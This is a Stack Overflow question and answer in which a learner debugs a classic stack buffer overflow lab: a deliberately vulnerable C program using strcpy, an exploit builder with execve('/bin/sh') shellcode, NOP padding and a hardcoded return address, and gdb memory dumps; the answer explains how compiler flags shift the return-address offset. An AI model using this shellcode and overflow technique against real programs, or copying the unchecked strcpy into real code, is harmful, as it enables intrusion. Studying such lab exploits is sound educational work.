Buffer Overflow shellcode overwriting wrong address

1

NOTE: This is a modified version of my original post here but poses a slightly different question.

I am going through this video on buffer overflows but am having some trouble replicating the demo. The issue appears to be when I execute the overflow the intended return address is not being overwritten.

From what I understand, the intended return address should be, 0x7fffffffe060.

This memory address format differs from what I've seen in demos etc. maybe something wrong here?

gcc command - gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o Output Output.c

I can the see the shellcode being introduced to the stack but it is one 'line' or memory address down from where I expect it to be.

Expectation, with my shellcode:

0x7fffffffe060: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969

Actual Result:

0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969

Why is the target return address 0x7fffffffe060 not being overwritten in favour of 0x7fffffffe070?

ExploitMe.c

#include<stdio.h>
#include<string.h>

main(int argc, char **argv)
{
    char buffer[80];
    strcpy(buffer, argv[1]);
    return 1;
}

HackYou.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;

char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";

#define NOP 0x90
main()
{
    char buffer[96]; 
    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG=", 4);
    memcpy(buffer+4, shellcode, 24);
    memcpy(buffer+88, retaddr, 4);
    memcpy(buffer+92, "\x00\x00\x00\x00", 4);
    putenv(buffer);
    system("/bin/sh");
    return 0;
}

(gdb) run $EGG

(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x00000001  0x00000000  0xf7e939b5  0x00007fff
0x7fffffffe080: 0x00000000  0x00000000  0x555551bd  0x00005555
0x7fffffffe090: 0xf7fe42a0  0x00007fff  0x00000000  0x00000000
0x7fffffffe0a0: 0x55555170  0x00005555  0x55555050  0x00005555
0x7fffffffe0b0: 0xffffe1a0  0x00007fff  0x00000000  0x00000000

(gdb) c
Continuing.

(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe4d4: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe4e4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe4f4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe504: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe514: 0x90909090  0xffffe060  0x5f534c00  0x4f4c4f43

(gdb) x/34xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe080: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe090: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0c0: 0x90909090  0xffffe060  0xf7e14b00  0x00007fff
0x7fffffffe0d0: 0x00000000  0x00000000  0xffffe1a8  0x00007fff
0x7fffffffe0e0: 0x00040000  0x00000002  

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.
c
security
buffer-overflow
shellcode
asked on Stack Overflow Oct 25, 2018 by 3therk1ll • edited Oct 25, 2018 by 3therk1ll

1 Answer

0

I haven’t watched your video, but the approach you are using is highly dependent upon versions of compilers, compilation options and even operating system versions. If you are missing your target it may well be because of the debug option (-g). The debug option typically causes the compiler to install reliable stack frames so the debugger can traverse the call stack reliably.

In your example, you are expecting that the the return address is 92 bytes from the address of buffer, or 3 stack addresses past the end of buffer. Thus if you disassemble ExploitMe.c:main(), what does the prologue look like? How many registers are pushed, and what is subtracted from rsp?

On (ubuntu 18, gcc 7.3), I get 1 push and 96 subtracted, so the return address is at offset 104 from buffer; the saved stack pointer is at offset 96. When I replaced -ggdb with -O, I got return address at offset 88 [ so 92 would be the middle, or most significant bytes ], and no saved stack pointer.

Like the commenters pointed out, if you are going to exploit undocumented behaviours, you are have to be able to adapt.

answered on Stack Overflow Oct 25, 2018 by mevets

User contributions licensed under CC BY-SA 3.0